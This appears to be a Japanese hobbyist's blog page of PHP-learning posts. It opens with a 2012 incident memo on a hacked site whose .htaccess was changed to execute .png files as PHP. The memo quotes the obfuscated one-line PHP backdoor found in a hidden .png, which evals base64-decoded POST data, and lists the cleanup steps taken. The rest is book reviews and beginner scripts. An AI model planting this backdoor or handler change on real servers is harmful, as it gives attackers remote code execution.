【メモ】.htaccess改ざん事例(.htaccess/png/eval)※追記あり

5月 16th, 2012

正直解決策になっているのかどうかよくわからないのですが日本語のページがほとんどなかったのでメモ。

 

現象

あるサイトの.htaccessが改ざんされていました。

【元】
AddHandler application/x-httpd-php .html

【改ざん】
AddHandler application/x-httpd-php .png

→「pngファイルをphpととして読み込む」的なもの?

 

そして.htaccessと同じ階層に、「.****.png」という不可解なファイル。
それをファイルとして開いてみると

<?php ($_=$_POST).($_1=’_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>

というコードが記載。なにこれこわい。

※あとファイル更新時間でソートをかけたらindex.bak.phpみたいなファイルがありました(消してしまったのでうろ覚え)。

 

応急処置

色々と情報を集めてみたのですが、POSTデータを実行している云々で実際の挙動に何が起こっているのか正直よくわかりませんでした。
ひとまずの応急処置として

1..****.pngのデータを削除
2.パスワード関連全変更
3..htaccessの修正。
 AddHandler application/x-httpd-php .png
 →pngをhtmlに修正
4.index.bak.phpの削除

といった対処をしています。
もしなにか分かる情報(「こうした方がいいよ!」とか)があれば教えていただけるとありがたいです!

 

※追記(2012.5.18 8:44a.m.)
ロリポップのサーバーで起こった事例、という情報をいただいています(2件)。

PHP初心者が読んだ本4冊(+2冊)を比較してみた

6月 30th, 2011

Php

PHP。
勉強しようと思って本屋に行っても多すぎて何が何だか分からない。
というわけで、自分が読んだ本を紹介してみることにします。

ただ、原則的には本だけを読んでどうにかなるものではなく
実際に書いて、動作をみてみないと分かりません。

■10日で覚えるシリーズ

わかりやすさ:☆☆(2.5)

10日ではおぼえられませんでしたw
まず最初のApache設定でつまづく。
一番最初、設定に失敗してそこでいきなり挫折したものです(遠い目)

これは別にこの本の問題でもないんですが、環境によって若干設定が違うとか行列が違うとか、そのあたりで既に気軽ではないですよね。
ある程度予備知識がある人向け。

■独習PHP

わかりやすさ:☆☆(2.5)

「10日で覚える~」と同じ著者の方。
印象的にはやっぱり「予備知識があれば…」という感じ。

■みるみるPHPがわかる本

わかりやすさ:☆☆☆(3.5)

初心者向けに優しく書こうという感じがあります。
絵などを用いた分かりやすい例え、口語体での解説、
初心者が「PHPとは」を知るにはいい本です。

コマンドプロンプトを用いて動作などの練習をします。
Apacheなどのわずらわしい設定がない分、取り組みやすい。

■よくわかるPHPの教科書

わかりやすさ:☆☆☆(3.5)

個人的には良かった本。
実際にサーバー借りるなり、環境を用意してから図解入りで説明。
データベースの領域にも踏み込んでいますが、そこも図が入っているので
つらつらと構文を書かれるよりははるかに分かりやすい。

【その他:番外編】

■PHP逆引きレシピ


構文集。
サンプルも記載されています。

これに関してはどんなものがあるのかというサンプル集なので、
「これから学ぶ」とかそういった類の本ではありません。
ただ、どんな機能があるのか、どんな使い方ができるのかはわかります。

■PHP×携帯サイト デベロッパーズバイブル

ガラケー向け携帯サイト開発マニュアル。
PHPの基本は省いてあるので中級者以降の方向け。

■まとめ

結局、初心者にとってはそんなに簡単なものではないw

今回紹介した本の中では☆3.5のものをオススメしますが、実際に本屋か何かで確認してみてめくってみた方が参考になりやすいかも知れません。

今日のPHP(UserAgentで表示するものを変えるという条件設定)

10月 14th, 2010

お久しぶりのPHPコーナー。

毎日やってるんですが最近は

・ユーザー関数を作る
・formと組み合わせて動かす


満足

みたいな感じになっていて本が一向に進みませんw
classの項目からが理解不能すぎるのでとりあえず遊んでる感じです。

■今日の満足したスクリプト
PHPに限ったことではないのかも知れないですが、

「自分の考えたシステム」(←言ってみたかった)を動かす

っていうのが一番の近道なんじゃないかと思うんですね。
だけど、意外と思い浮かばなかったりするものでいくつか考えたのが以下の通り。
(eclipseのコメントアウト欄よりw)

・今の時間の九時間前を計測するユーザー関数を作ってみる
・UAがbotだった場合色を付けて点滅させる(キャッシュに点滅を残す)ものを作る
(※これクローキングだなw)
・他のpost要素(チェックボックスとか)で条件付するとか

というわけで、まず「UAがbotだった場合色を付けて点滅させる(キャッシュに点滅を残す)ものを作る」を作ってみました。
$_SERVER[HTTP_USER_AGENT]を使用する、までは思いついたんだけど文字列の部分一致をしなくてはいけない…ということで。
完成したのは以下のもの(botはGooglebotのみにしています。)

<?php
if(stristr($_SERVER[HTTP_USER_AGENT],Googlebot)){
print(‘<blink><b><font color="red">OK</font></b></blink>’);
}elseif(stristr($_SERVER[HTTP_USER_AGENT],Firefox)){
print(‘OK’);
}else{
print(‘No’);
}
?>

stristrは知らなかった。
参照→【 ほでなすPHP 】 関数ミニリファレンス ->; 文字列関数

というわけで文字列の部分一致を学んでちょっと満足しました的なチラ裏更新でしたw

今日のPHP($_SERVERと$SERVER)

6月 24th, 2010

毎日1コード(?)書くようにはしてるんだけど、気付いたこととかミスったことをメモしておくのもいいかなと。
(このサイトも何と言うか試行錯誤の最中なんですねw)

今日、アクセスログを取得する、っていうコードを書いてたんですが
なぜか日付の部分しか取得できない。

まあ答えは本当に簡単なことで

日付

$data =date(‘Y/m/d H:i:s’)."\t";

これ、YとかMとか大文字小文字で取得できる形式が変わるのね。これは驚いたw

ユーザーエージェントとかリファラの取得

$data.=$_SERVER['HTTP_USER_AGENT']."\t";
$data.=$_SERVER['HTTP_REFERER'];

これの$_SERVER部分が「$SERVER」になってて取得できなかった。

何と言いますかそれだけの話なんですがエラー表示されるわけでもないので分からずちょっと苦戦したのでした。

ちなみに社内のシステムの人に聞いたら

「サンプルとかは公式で見た方がいいって言うよ、俺は見ないけどw」

と言われたので極力参考にするようにしてますw

今回の件
PHP: $_SERVER – Manual

やってるうちに覚えていくのかねえ。

「独習PHP」を読み始めた~Apacheの設定ができなかったw

4月 7th, 2010

さて定例のPHPシリーズ、いよいよ3冊目に突入してるけど一向に描けるようになってないっていうwww

前回読んでたのは「携帯PHPディベロッパーズバイブル」で、ここでは得たものが大きかった。
主に「携帯サイトの仕掛けの仕組み」が分かったのが良かったですね。位置情報の取得とか、デコメとか。

あと途中で社内の人にeclipseの話を聞けたのもの良かったですね。
今まで本当にメモ帳でベタ打ちだったので…

ただまあそれでも書けないので、再び基本中の基本から取り組んでみるということで、レビューなどを読んでみた結果「独習PHP」を読むことに決定。

**

PHP本の一番の難点としてまず最初のPHPとApacheの設定からつまづくっていう。

そして素人にはあまりにもわからなすぎる上に、「パソコンの他の部分で不具合が出たらどうしよう」的な恐怖ですよw

最新バージョン購入しても、ソフトのバージョンがそれ以上を行ってたらなんともいえないですからね。。。

**

で、Apacheのhttpd.confの設定からはまるというw

今回の解決策はここにあったので掲載しておきます。
無聊写記:PHP5、Apache2.2のインストール

本に記載されているコードが間違っているというか古いというか。
(この辺はよくわからないのですが、上記に書いてるのを写したら動いた)

Apache2.2のhttpd.confはどういうわけか既存のに比べて記述が少なくて非常に混乱した。

**

「そもそもそれじゃあこの本役に立たないじゃん!」みたいな話になるとは思うのですが、Amazonの書評で決め手になったコメントがあって

強いて言うなら、若干の説明不足があるくらいです。
でもそれは、どの本も一緒だと思います。

っていうことなんじゃないかと。
というわけでキッチリやってみようかと思ってます。

今読んでるのはこの本

そして数日後に新版が出るっていう。でっていう・・・